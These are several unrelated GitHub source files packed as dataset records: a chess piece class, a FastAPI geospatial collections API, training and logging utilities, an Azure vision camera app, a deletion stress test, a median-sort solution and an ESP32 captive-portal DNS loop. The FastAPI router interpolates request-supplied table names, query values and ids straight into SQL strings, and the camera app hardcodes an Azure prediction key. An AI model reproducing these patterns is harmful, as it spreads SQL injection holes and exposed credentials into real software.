self.b.attack_spaces(self)\r\n\r\n def safe_moves(self) -> None:\r\n self.safe_on_axes(self.horizvert_from, Rook, True, None)\r\n if self.pinned:\r\n return\r\n\r\n def bishop_pin_gen(king, pinning_piece):\r\n for coordinate in zip(\r\n range(\r\n king.rank + (1 if king.rank < self.rank else -1),\r\n pinning_piece.rank + (-1 if pinning_piece.rank < self.rank else 1),\r\n 1 if king.rank < self.rank else -1\r\n ),\r\n range(\r\n king.file + (1 if king.file < self.file else -1),\r\n pinning_piece.file + (-1 if pinning_piece.file < self.file else 1),\r\n 1 if king.file < self.file else -1\r\n )\r\n ):\r\n if coordinate != self.coordinate:\r\n yield coordinate\r\n\r\n self.safe_on_axes(self.diagonal_from, Bishop, False, bishop_pin_gen)\r\n\r\n @property\r\n def square_color(self) -> bool:\r\n return self.rank % 2 != self.file % 2\r\n\r\n def __repr__(self):\r\n return \"B\" if self.color else \"b\"\r\n","repo_name":"settwi/pychess","sub_path":"ChessLogic/Bishop.py","file_name":"Bishop.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17020529554","text":"import os\nimport shutil\nfrom typing import Optional\nfrom functools import reduce\nfrom fastapi import Request, APIRouter, Depends, status, Response\nfrom starlette.responses import FileResponse\nfrom pygeofilter.backends.sql import to_sql_where\nfrom pygeofilter.parsers.ecql import parse\nfrom tortoise.expressions import Q\n\nimport utilities\nimport db_models\nimport config\n\nrouter = APIRouter()\n\n@router.get(\"/\", tags=[\"Collections\"])\nasync def collections(request: Request, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return a list of tables available to query.\n\n \"\"\"\n\n url = str(request.base_url)\n\n db_tables = []\n\n user_groups = await utilities.get_user_groups(user_name)\n\n tables = await db_models.Table_Pydantic.from_queryset(db_models.Table.filter(reduce(lambda x, y: x | y, [Q(read_access_list__contains=[group]) for group in user_groups])))\n\n for table in tables:\n table_metadata = await db_models.Table_Pydantic.from_queryset_single(db_models.Table.get(table_id=table.table_id))\n db_tables.append(\n {\n \"id\" : f\"user_data.{table.table_id}\",\n \"title\" : table_metadata.title,\n \"description\" : table_metadata.description,\n \"keywords\": table_metadata.tags,\n \"links\": [\n {\n \"type\": \"application/json\",\n \"rel\": \"self\",\n \"title\": \"This document as JSON\",\n \"href\": f\"{url}api/v1/collections/user_data.{table.table_id}\"\n }\n ],\n \"extent\": {\n \"spatial\": {\n \"bbox\": await utilities.get_table_bounds(\n scheme=\"user_data\",\n table=table.table_id,\n app=request.app\n ),\n \"crs\": \"http://www.opengis.net/def/crs/OGC/1.3/CRS84\"\n }\n },\n \"itemType\": \"feature\"\n }\n )\n\n return {\"collections\": db_tables}\n\n@router.get(\"/{scheme}.{table}\", tags=[\"Collections\"])\nasync def collection(scheme: str, table: str, request: Request, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return information about a collection.\n\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n table_metadata = await db_models.Table_Pydantic.from_queryset_single(db_models.Table.get(table_id=table))\n\n url = str(request.base_url)\n\n return {\n \"id\": f\"{scheme}.{table}\",\n \"title\" : table_metadata.title,\n \"description\" : table_metadata.description,\n \"keywords\": table_metadata.tags,\n \"links\": [\n {\n \"type\": \"application/json\",\n \"rel\": \"self\",\n \"title\": \"Items as GeoJSON\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/items\"\n },\n {\n \"type\": \"application/json\",\n \"rel\": \"queryables\",\n \"title\": \"Queryables for this collection as JSON\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/queryables\"\n },\n {\n \"type\": \"application/json\",\n \"rel\": \"tiles\",\n \"title\": \"Tiles as JSON\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/tiles\"\n }\n ],\n \"extent\": {\n \"spatial\": {\n \"bbox\": await utilities.get_table_bounds(\n scheme=scheme,\n table=table,\n app=request.app\n ),\n \"crs\": \"http://www.opengis.net/def/crs/OGC/1.3/CRS84\"\n }\n },\n \"itemType\": \"feature\"\n }\n\n@router.get(\"/{scheme}.{table}/queryables\", tags=[\"Collections\"])\nasync def queryables(scheme: str, table: str, request: Request,\n user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return queryable information about a collection.\n\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n ) \n\n url = str(request.base_url)\n\n queryable = {\n \"$id\": f\"{url}api/v1/collections/{scheme}.{table}/queryables\",\n \"title\": f\"{scheme}.{table}\",\n \"type\": \"object\",\n \"$schema\": \"http://json-schema.org/draft/2019-09/schema\",\n \"properties\": {}\n }\n\n pool = request.app.state.database\n\n async with pool.acquire() as con:\n\n sql_field_query = f\"\"\"\n SELECT column_name, data_type\n FROM information_schema.columns\n WHERE table_name = '{table}'\n AND column_name != 'geom';\n \"\"\"\n\n db_fields = await con.fetch(sql_field_query)\n\n for field in db_fields:\n data_type = 'string'\n if field['data_type'] in config.NUMERIC_FIELDS:\n data_type = 'numeric'\n queryable['properties'][field['column_name']] = {\n \"title\": field['column_name'],\n \"type\": data_type\n }\n\n return queryable\n\n@router.get(\"/{scheme}.{table}/items\", tags=[\"Collections\"])\nasync def items(scheme: str, table: str, request: Request,\n bbox: str=None, limit: int=100, offset: int=0, properties: str=\"*\",\n sortby :str=\"gid\", filter :str=None, srid: int=4326, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return geojson from a collection.\n\n \"\"\"\n\n url = str(request.base_url)\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n ) \n\n blacklist_query_parameters = [\"bbox\",\"limit\",\"offset\",\"properties\",\"sortby\",\"filter\"]\n\n new_query_parameters = []\n\n for query in request.query_params:\n if query not in blacklist_query_parameters:\n new_query_parameters.append(query)\n\n column_where_parameters = \"\"\n\n pool = request.app.state.database\n\n async with pool.acquire() as con:\n\n sql_field_query = f\"\"\"\n SELECT column_name\n FROM information_schema.columns\n WHERE table_name = '{table}'\n AND column_name != 'geom';\n \"\"\"\n\n db_fields = await con.fetch(sql_field_query)\n\n if properties == '*':\n properties = \"\"\n for field in db_fields:\n column = field['column_name']\n properties += f'\"{column}\",'\n properties = properties[:-1]\n\n if new_query_parameters != []:\n\n for field in db_fields:\n if field['column_name'] in new_query_parameters:\n if len(column_where_parameters) != 0:\n column_where_parameters += \" AND \"\n column_where_parameters += f\" {field['column_name']} = '{request.query_params[field['column_name']]}' \"\n\n if filter is not None: \n\n field_mapping = {} \n\n for field in db_fields:\n field_mapping[field['column_name']] = field['column_name']\n\n ast = parse(filter)\n filter = to_sql_where(ast, field_mapping) \n \n if filter is not None and column_where_parameters != \"\":\n filter += f\" AND {column_where_parameters}\"\n elif filter is None:\n filter = column_where_parameters\n \n results = await utilities.get_table_geojson(\n scheme=scheme,\n table=table,\n limit=limit,\n offset=offset,\n properties=properties,\n sort_by=sortby,\n bbox=bbox,\n filter=filter,\n srid=srid,\n app=request.app\n )\n\n results['links'] = [\n {\n \"type\": \"application/json\",\n \"rel\": \"self\",\n \"title\": \"This document as GeoJSON\",\n \"href\": request.url._url\n },\n {\n \"type\": \"application/json\",\n \"title\": f\"{scheme}.{table}\",\n \"rel\": \"collection\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}\"\n }\n ]\n\n return results\n\n@router.get(\"/{scheme}.{table}/items/{id}\", tags=[\"Collections\"])\nasync def item(scheme: str, table: str, id:str, request: Request,\n properties: str=\"*\", srid: int=4326, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return geojson for one item of a collection.\n\n \"\"\"\n\n url = str(request.base_url)\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n ) \n\n pool = request.app.state.database\n\n async with pool.acquire() as con:\n\n sql_field_query = f\"\"\"\n SELECT column_name\n FROM information_schema.columns\n WHERE table_name = '{table}'\n AND column_name != 'geom';\n \"\"\"\n\n db_fields = await con.fetch(sql_field_query) \n\n if properties == '*':\n properties = \"\"\n for field in db_fields:\n column = field['column_name']\n properties += f'\"{column}\",'\n properties = properties[:-1]\n\n results = await utilities.get_table_geojson(\n scheme=scheme,\n table=table,\n filter=f\"gid = '{id}'\",\n properties=properties,\n srid=srid,\n app=request.app\n )\n\n results['features'][0]['links'] = [\n {\n \"type\": \"application/json\",\n \"rel\": \"self\",\n \"title\": \"This document as GeoJSON\",\n \"href\": request.url._url\n },\n {\n \"type\": \"application/json\",\n \"title\": \"items as GeoJSON\",\n \"rel\": \"items\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/items\"\n },\n {\n \"type\": \"application/json\",\n \"title\": f\"{scheme}.{table}\",\n \"rel\": \"collection\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}\"\n }\n ]\n\n return results['features'][0]\n\n@router.get(\"/{scheme}.{table}/tiles\", tags=[\"Collections\"])\nasync def tiles(scheme: str, table: str, request: Request,\n user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return queryable information about a collection.\n\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n table_metadata = await db_models.Table_Pydantic.from_queryset_single(db_models.Table.get(table_id=table))\n\n url = str(request.base_url)\n\n mvt_path = \"{tileMatrixSetId}/{tileMatrix}/{tileRow}/{tileCol}\"\n\n tile_info = {\n \"id\": f\"{scheme}.{table}\",\n \"title\": table_metadata.title,\n \"description\": table_metadata.description,\n \"links\": [\n {\n \"type\": \"application/json\",\n \"rel\": \"self\",\n \"title\": \"This document as JSON\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/tiles\",\n },\n {\n \"type\": \"application/vnd.mapbox-vector-tile\",\n \"rel\": \"item\",\n \"title\": \"This collection as Mapbox vector tiles\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/tiles/{mvt_path}\",\n \"templated\": True\n },\n {\n \"type\": \"application/json\",\n \"rel\": \"describedby\",\n \"title\": \"Metadata for this collection in the TileJSON format\",\n \"href\": f\"{url}api/v1/collections/{scheme}.{table}/tiles/{{tileMatrixSetId}}/metadata\",\n \"templated\": True\n }\n ],\n \"tileMatrixSetLinks\": [\n {\n \"tileMatrixSet\": \"WorldCRS84Quad\",\n \"tileMatrixSetURI\": \"http://schemas.opengis.net/tms/1.0/json/examples/WorldCRS84Quad.json\"\n }\n ]\n } \n\n return tile_info\n\n@router.get(\n \"/{scheme}.{table}/tiles/{tileMatrixSetId}/{tileMatrix}/{tileRow}/{tileCol}\",\n tags=[\"Collections\"],\n summary=\"Endpoint to return a vector of tiles for a given table\"\n)\nasync def tiles(scheme: str, table: str, tileMatrixSetId: str, tileMatrix: int, tileRow: int,\n tileCol: int, request: Request,fields: Optional[str] = None, cql_filter: Optional[str] = None,\n user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return a vector of tiles for a given table.\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n pbf, tile_cache = await utilities.get_tile(\n scheme=scheme,\n table=table,\n tileMatrixSetId=tileMatrixSetId,\n z=tileMatrix,\n x=tileRow,\n y=tileCol,\n fields=fields,\n cql_filter=cql_filter,\n app=request.app\n )\n\n response_code = status.HTTP_200_OK\n\n max_cache_age = config.CACHE_AGE_IN_SECONDS\n\n if fields is not None and cql_filter is not None:\n max_cache_age = 0\n\n if tile_cache:\n return FileResponse(\n path=f'{os.getcwd()}/cache/{scheme}_{table}/{tileMatrixSetId}/{tileMatrix}/{tileRow}/{tileCol}',\n media_type=\"application/vnd.mapbox-vector-tile\",\n status_code=response_code,\n headers = {\n \"Cache-Control\": f\"max-age={max_cache_age}\",\n \"tile-cache\": 'true'\n }\n )\n\n if pbf == b\"\":\n response_code = status.HTTP_204_NO_CONTENT\n\n return Response(\n content=bytes(pbf),\n media_type=\"application/vnd.mapbox-vector-tile\",\n status_code=response_code,\n headers = {\n \"Cache-Control\": f\"max-age={max_cache_age}\",\n \"tile-cache\": 'false'\n }\n )\n\n@router.get(\"/{scheme}.{table}/tiles/{tileMatrixSetId}/metadata\", tags=[\"Collections\"])\nasync def tiles_metadata(scheme: str, table: str, tileMatrixSetId: str, request: Request, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to return a tile metadata for a given table.\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n table_metadata = await db_models.Table_Pydantic.from_queryset_single(db_models.Table.get(table_id=table))\n\n url = str(request.base_url)\n\n mvt_path = f\"{tileMatrixSetId}/{{tileMatrix}}/{{tileRow}}/{{tileCol}}?f=mvt\"\n\n metadata = {\n \"tilejson\": \"3.0.0\",\n \"name\": f\"{scheme}.{table}\",\n \"tiles\": f\"{url}api/v1/collections/{scheme}.{table}/tiles/{mvt_path}\",\n \"minzoom\": \"0\",\n \"maxzoom\": \"22\",\n # \"bounds\": \"-124.953634,-16.536406,109.929807,66.969298\",\n # \"center\": \"-84.375000,44.951199,5\",\n \"attribution\": None,\n \"description\": table_metadata.description,\n \"vector_layers\": [\n {\n \"id\": f\"{scheme}.{table}\",\n \"description\": table_metadata.description,\n \"minzoom\": 0,\n \"maxzoom\": 22,\n \"fields\": {}\n }\n ]\n }\n\n pool = request.app.state.database\n\n async with pool.acquire() as con:\n\n sql_field_query = f\"\"\"\n SELECT column_name, data_type\n FROM information_schema.columns\n WHERE table_name = '{table}'\n AND column_name != 'geom';\n \"\"\"\n\n db_fields = await con.fetch(sql_field_query)\n\n for field in db_fields:\n data_type = 'string'\n if field['data_type'] in config.NUMERIC_FIELDS:\n data_type = 'numeric'\n metadata['vector_layers'][0]['fields'][field['column_name']] = data_type\n\n return metadata\n\n@router.get(\"/{scheme}.{table}/tiles/cache_size\", tags=[\"Collections\"])\nasync def get_tile_cache_size(scheme: str, table: str, request: Request, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to a list size of cache for table.\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n size = 0\n\n cache_path = f'{os.getcwd()}/cache/{scheme}_{table}'\n\n if os.path.exists(cache_path): \n for path, dirs, files in os.walk(cache_path):\n for f in files:\n fp = os.path.join(path, f)\n size += os.path.getsize(fp)\n\n return {'size_in_gigabytes': size*.000000001}\n\n@router.delete(\"/{scheme}.{table}/tiles/cache\", tags=[\"Collections\"])\nasync def delete_tile_cache(scheme: str, table: str, request: Request, user_name: int=Depends(utilities.get_token_header)):\n \"\"\"\n Method used to delete cache for a table.\n \"\"\"\n\n await utilities.validate_table_access(\n table=table,\n user_name=user_name,\n app=request.app\n )\n\n if os.path.exists(f'{os.getcwd()}/cache/{scheme}_{table}'):\n shutil.rmtree(f'{os.getcwd()}/cache/{scheme}_{table}')\n return {\"status\": \"deleted\"}\n else:\n return {\"error\": f\"No cache at {os.getcwd()}/cache/{scheme}_{table}\"}\n","repo_name":"mkeller3/QwikGeo","sub_path":"routers/collections/collections.py","file_name":"collections.py","file_ext":"py","file_size_in_byte":17424,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"23572675680","text":"import click\nimport omegaconf\nimport torch\n\nfrom scripts.train_diffusion_autoencoder import number_of_params\nfrom utils.config import get_class_from_str\n\n\n@click.command()\n@click.option(\"--config-path\", \"-c\", type=str)\n@torch.no_grad()\ndef print_model(config_path):\n config = omegaconf.OmegaConf.load(config_path)\n\n model = get_class_from_str(config.model.target)(**config.model.params)\n encoder = get_class_from_str(config.encoder.target)(**config.encoder.params)\n print(model)\n print(\"--------------------------------------------------------------\")\n print(encoder)\n\n print(f\"model has {number_of_params(model):,} trainable parameters\")\n print(f\"encoder has {number_of_params(encoder):,} trainable parameters\")\n\n\nif __name__ == \"__main__\":\n print_model()\n","repo_name":"luc-leonard/pytorch-diffusion-autoencoder","sub_path":"scripts/print_model.py","file_name":"print_model.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"31211939287","text":"import logging\n\nfrom device_drama.classes.config import Config # type: ignore\n\n\nclass Logger:\n separator_logged = False\n\n def __init__(self, name: str) -> None:\n self._logger = logging.getLogger(name)\n\n if not logging.root.handlers:\n self.setup_logging()\n\n if not Logger.separator_logged:\n self._logger.info(f'{6*\"-\"} <<<< NEXT EXECUTION >>>> {6*\"-\"}')\n Logger.separator_logged = True\n\n self.info('Logger initiated.')\n\n @staticmethod\n def setup_logging() -> None:\n Config.logger_file_path.parent.mkdir(parents=True, exist_ok=True)\n logging.basicConfig(\n filename=Config.logger_file_path,\n level=logging.INFO,\n format='[{asctime}.{msecs:0<3.0f}] [{levelname:7}] {message} [{name}]',\n datefmt='%Y-%m-%d %H:%M:%S',\n filemode='a',\n style='{',\n )\n\n def info(self, message: str) -> None:\n self._logger.info(message)\n\n def warning(self, message: str) -> None:\n self._logger.warning(message)\n\n def error(self, message: str) -> None:\n self._logger.error(message)\n\n def __del__(self) -> None:\n try:\n self.info('Logger terminated.')\n except NameError:\n pass\n","repo_name":"8tm/device-drama","sub_path":"src/device_drama/classes/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71726924946","text":"# import the necessary packages\nfrom __future__ import print_function\nfrom imutils.object_detection import non_max_suppression\nfrom imutils import paths\nimport numpy as np\nimport argparse\nimport imutils\nimport cv2\nimport takepicture\nimport os\nimport time\nimport urllib2\nimport json\nimport Tkinter\n\nclass waittimes_tk(Tkinter.Tk):\n\tdef __init__(self, parent):\n\t\tTkinter.Tk.__init__(self, parent)\n\t\tself.parent = parent\n\t\tself.initialize()\n\t\t\n\tdef initialize(self):\n\t\tself.grid()\n\t\t\n\t\tself.waitTimeLabelVariable = Tkinter.StringVar()\n\t\tself.waitTimeLabelVariable.set(\"Hello world!\")\n\t\tself.entry = Tkinter.Label(self, textvariable=self.waitTimeLabelVariable)\n\t\tself.entry.grid(column=0, row=0, sticky=\"EW\")\n\t\t\n\tdef updateWaitTime(self, waitStr):\n\t\tself.waitTimeLabelVariable.set(waitStr)\n\ndef analyze(imagePath):\n\t# load the image and resize it to (1) reduce detection time\n\t# and (2) improve detection accuracy\n\timage = cv2.imread(imagePath)\n\timage = imutils.resize(image, width=min(400, image.shape[1]))\n\torig = image.copy()\n\n\t# detect people in the image\n\t(rects, weights) = hog.detectMultiScale(image, winStride=(4, 4),\n\t\tpadding=(8, 8), scale=1.05)\n\n\t# draw the original bounding boxes\n\tfor (x, y, w, h) in rects:\n\t\tcv2.rectangle(orig, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n\t# apply non-maxima suppression to the bounding boxes using a\n\t# fairly large overlap threshold to try to maintain overlapping\n\t# boxes that are still people\n\trects = np.array([[x, y, x + w, y + h] for (x, y, w, h) in rects])\n\tpick = non_max_suppression(rects, probs=None, overlapThresh=0.65)\n\n\t# draw the final bounding boxes\n\tfor (xA, yA, xB, yB) in pick:\n\t\tcv2.rectangle(image, (xA, yA), (xB, yB), (0, 255, 0), 2)\n\n\t# show some information on the number of bounding boxes\n\tfilename = imagePath[imagePath.rfind(\"/\") + 1:]\n\tprint(\"[INFO] {}: {} original boxes, {} after suppression\".format(\n\t\tfilename, len(rects), len(pick)))\n\n\t# show the output images\n\tcv2.imshow(\"Before NMS\", orig)\n\tcv2.imshow(\"After NMS\", image)\n\t\nclass Point(object):\n\tx = 0.0\n\ty = 0.0\n\t\n\tdef __init__(self, x, y):\n\t\tself.x = x\n\t\tself.y = y\n\t\t\n\tdef __str__(self):\n\t\treturn str(self.x) + \", \" + str(self.y)\n\t\ndef getPoint(boundingBox):\n\treturn Point(\n\t\tboundingBox[\"left\"] + boundingBox[\"width\"] / 2,\n\t\tboundingBox[\"top\"] + boundingBox[\"height\"] / 2)\n\t\ndef analyzeAzure(imagePath):\n\twith open(imagePath, 'r') as imageFile:\n\t\timageData = imageFile.read()\n\t\t\n\t\turl = \"https://southcentralus.api.cognitive.microsoft.com/customvision/v2.0/Prediction/3c8ab5ac-1b61-4040-826f-d0ce69d5ecb7/image?iterationId=91d3f3ae-17e1-4bc6-bb2a-eabfaf757622\"\n\t\t#headers = \"Prediction-Key=161975688d084e45bcfc2a07a8a35239&Content-Type=application/octet-stream\"\n\t\theaders = {\n\t\t\t\"Prediction-Key\": \"161975688d084e45bcfc2a07a8a35239\",\n\t\t\t\"Content-Type\": \"application/octet-stream\"\n\t\t}\n\t\treq = urllib2.Request(url, imageData, headers)\n\t\tresp = urllib2.urlopen(req)\n\t\trespObj = json.loads(resp.read());\n\t\t\n\t\tpredictions = respObj[\"predictions\"];\n\t\tpeople = 0\n\t\tpoints = []\n\t\tfor prediction in predictions:\n\t\t\tif prediction[\"probability\"] >= 0.5:\n\t\t\t\tpeople += 1\n\t\t\t\tpoint = getPoint(prediction[\"boundingBox\"])\n\t\t\t\tpoints.append(point)\n\t\t\t\tprint(str(point))\n\t\t\n\t\tprint(\"People: \" + str(people))\n\t\tapp.updateWaitTime(\"People: \" + str(people))\n\t\t\ndef processLoop():\n\t# take a new picture\n\ttakepicture.take_picture(\"./tmp/pic.png\")\n\tanalyzeAzure(os.path.abspath(\"./tmp/pic.png\"))\n\tapp.after(3000, processLoop)\n\t\t\nif __name__ == \"__main__\":\n\tapp = waittimes_tk(None)\n\tapp.title(\"Cafe Wait Times\")\n\tapp.after(1000, processLoop)\n\tapp.mainloop()\n\n\n# construct the argument parse and parse the arguments\n#ap = argparse.ArgumentParser()\n#ap.add_argument(\"-i\", \"--images\", required=False, help=\"path to images directory\")\n#args = vars(ap.parse_args())\n\n# initialize the HOG descriptor/person detector\n#hog = cv2.HOGDescriptor()\n#hog.setSVMDetector(cv2.HOGDescriptor_getDefaultPeopleDetector())\n\n#if args[\"images\"]:\n\t# loop over the image paths\n#\tfor imagePath in paths.list_images(args[\"images\"]):\n#\t\tanalyze(imagePath)\n#\t\tcv2.waitKey(0)\n#else:\n#\twhile True:\n#\t\t# take a new picture\n#\t\ttakepicture.take_picture(\"./tmp/pic.png\")\n#\t\tanalyzeAzure(os.path.abspath(\"./tmp/pic.png\"))\n#\t\t#cv2.waitKey(8)\n#\t\ttime.sleep(3)\n","repo_name":"andrewleader/cafe-wait-times","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74844039826","text":"import os\r\nimport sys\r\nimport time\r\nimport logging\r\nimport configparser\r\nimport threading\r\nfrom threading import *\r\nfrom threading import Thread, current_thread\r\nfrom monga_client.client.client import MongaClient\r\nfrom monga_client.client.monga import *\r\nfrom monga_client.client.monga.base import _do_request\r\nfrom Initialize import Initialize\r\n\r\n\r\nif len(sys.argv) > 0 and len(sys.argv[2]) > 0:\r\n arg2 = sys.argv[2]\r\n\r\ndelete_config = configparser.ConfigParser()\r\ndelete_config.read(arg2)\r\naction_config = configparser.ConfigParser()\r\naction_config.read(\"action.conf\")\r\n\r\nwrite_csv_lock = threading.Lock()\r\ntoken_lock = threading.Lock()\r\ndelete_lock = threading.Lock()\r\n\r\n'''\r\nLog file format setting\r\n'''\r\nlogging.basicConfig(filename = 'log.txt',\r\n level = logging.DEBUG, filemode = 'a',\r\n format = \r\n '[%(asctime)s] - [%(levelname)8s]: (%(threadName)-15s) %(message)s' ,\r\n datefmt = '%Y-%m-%d %H:%M:%S')\r\n\r\n\r\n\r\nclass Delete(Initialize):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n self._monga = MongaClient(self._monga_conf)\r\n self.do_delete = action_config.get(\"action\",\"delete\")\r\n self.update_token = action_config.get(\"action\",\"update_token\")\r\n self.user_number = int(delete_config.get(\"delete\",\"delete_cnt\"))\r\n self._upload_path = './upload_files'\r\n self.monga_url = self._fileop\r\n self._do_request = _do_request\r\n self.cond = threading.Condition()\r\n self.ready = False\r\n\r\n\r\n def file_delete(self):\r\n token_path = os.getcwd()+\"/\"+\"token.txt\"\r\n threads = []\r\n\r\n if os.path.exists(token_path) and sys.argv[1] == \"Start\":\r\n delete_file = os.listdir(self._upload_path)\r\n self.csv_file = \"{0}_{1}_delete.csv\".format(self.user_number, delete_file[0])\r\n if os.path.exists(self.csv_file): # If file exists, delete it\r\n os.remove(self.csv_file)\r\n time.sleep(1)\r\n fd = open(self.csv_file, 'w')\r\n fd.close()\r\n\r\n super().get_token_dict()\r\n time.sleep(1)\r\n delete_start_time = time.time()\r\n\r\n for i in range(1, self.user_number + 1):\r\n t = threading.Thread( target = self.delete_thread, args = [i], name = \"Thread-\" + str(i))\r\n threads.append(t)\r\n t.start()\r\n\r\n self.cond.acquire()\r\n self.ready = True\r\n self.cond.notifyAll()\r\n self.cond.release()\r\n\r\n for x in threads:\r\n x.join()\r\n\r\n if len(self.token_dictionary) == 0:\r\n logging.info(\"File deletion is failed\")\r\n return\r\n\r\n delete_end_time = time.time()\r\n delete_time = delete_end_time - delete_start_time\r\n logging.info('Total delete time: %s seconds.', delete_time)\r\n else:\r\n print(\"token.txt not found !\")\r\n\r\n def delete_thread(self, i):\r\n self.cond.acquire()\r\n while not self.ready:\r\n self.cond.wait()\r\n self.cond.release()\r\n\r\n _user = \"test{0}\".format(str(i))\r\n user_cnt = i\r\n token_lock.acquire()\r\n\r\n try:\r\n my_token = self.token_dictionary[_user]\r\n except:\r\n logging.info(\"Delete thread - {0} failed to get token from token.txt\".format(_user))\r\n return\r\n finally:\r\n token_lock.release()\r\n\r\n target_file = os.listdir(self._upload_path)\r\n target_path = target_file[0]\r\n delete_lock.acquire()\r\n self._monga.token = my_token\r\n res, respond_time = self._monga.delete_file(target_path)\r\n\r\n if (res is None):\r\n logging.info(\"Delete thread - File deletion is failed\")\r\n return\r\n\r\n try:\r\n resp = res[0]['status']\r\n except:\r\n resp = res['status']\r\n\r\n if resp == 200:\r\n logging.info('%s deleted %s success.', _user, target_path)\r\n else:\r\n logging.error('%s deleted %s fail, status code is %s.', _user, target_path, resp)\r\n delete_lock.release()\r\n\r\n write_csv_lock.acquire()\r\n csv_fd = open(self.csv_file, 'a')\r\n line = str(i) + ', ' + str(respond_time) + '\\n'\r\n csv_fd.write(line)\r\n csv_fd.close() \r\n write_csv_lock.release()\r\n\r\nif __name__ == \"__main__\":\r\n if len(sys.argv) == 3:\r\n t = Delete()\r\n\r\n if (sys.argv[1] == \"Start\") and \".conf\" in sys.argv[2]:\r\n if t.do_delete == 'yes':\r\n t.file_delete()\r\n else:\r\n print(\"In action.conf, delete needs to be yes.\")\r\n else:\r\n print(\"Usage: delete.py Start delete.conf\")\r\n else:\r\n print(\"Usage: delete.py Start delete.conf\")\r\n\r\n\r\n\r\n","repo_name":"clin13/FileCruiserStress","sub_path":"delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13596221572","text":"import sys\nfrom collections import defaultdict\n\nt, n, q = map(int, input().split())\nfor test in range(t):\n indexes = list(range(1, n + 1))\n\n # insertion sort\n for i in range(1, n):\n # binary search where to put indexes[i]\n start = 1\n end = i\n while start < end:\n mid = (start + end) // 2\n # use query as a \"less than\" by using current minima\n print(indexes[0], indexes[i], indexes[mid], flush=True)\n median = int(input())\n # when current minima is the median, indexes[i] is the new minima\n if indexes[0] == median:\n start = 0\n break\n if indexes[mid] == median:\n start = mid + 1\n else:\n end = mid\n # move indexes[i] to position\n target = indexes[i]\n for j in range(i, start, -1):\n indexes[j] = indexes[j - 1]\n indexes[start] = target\n\n print(\" \".join(map(str, indexes)), flush=True)\n input()\n","repo_name":"matthewrossi/coding-challenges","sub_path":"code-jam/2021/QR/median-sort/online-local-minima.py","file_name":"online-local-minima.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"40490002296","text":"import network\n \nap = network.WLAN(network.AP_IF)\nap.active(True)\nap.config(essid=\"esp32-5cd80b3\", authmode=network.AUTH_OPEN)\n\naddr = ap.ifconfig()[0]\n\n# ----------------------------------------------------------------------\n\nimport select\n\npoller = select.poll()\n\n# ----------------------------------------------------------------------\n\nfrom microDNSSrv import MicroDNSSrv\n\nmds = MicroDNSSrv()\nmds.Start()\n\naddrBytes = MicroDNSSrv._ipV4StrToBytes(addr)\n\n# We answer with our address for _all_ names.\ndef lookup(domName):\n print('Resolved', domName)\n return addrBytes\n\npoller.register(mds._server, select.POLLIN)\n\n# ----------------------------------------------------------------------\n\nfrom slimDNS import SlimDNSServer\n\nslimDns = SlimDNSServer(addr)\n\n# Lookup using `dig @224.0.0.251 -p 5353 portal.local`.\n# You can add additional names with additional calls to `advertise_hostname`.\nslimDns.advertise_hostname(\"portal\")\nslimDns.advertise_hostname(\"dns\")\n\npoller.register(slimDns.sock, select.POLLIN)\n\n# ----------------------------------------------------------------------\n\ndef printEvent(event):\n if event == select.POLLIN:\n print(\"IN\")\n elif event == select.POLLOUT:\n print(\"OUT\")\n elif event == select.POLLERR:\n print(\"ERR\")\n elif event == select.POLLHUP:\n print(\"HUP\")\n else:\n print(\"Event\", event)\n\nwhile True:\n for (s, event) in poller.ipoll():\n printEvent(event)\n\n if event == select.POLLIN:\n if s == slimDns.sock:\n slimDns.process_waiting_packets()\n elif s == mds._server:\n mds.process_request(lookup)\n\n# Currently there's no exit from the while but when there is we need to 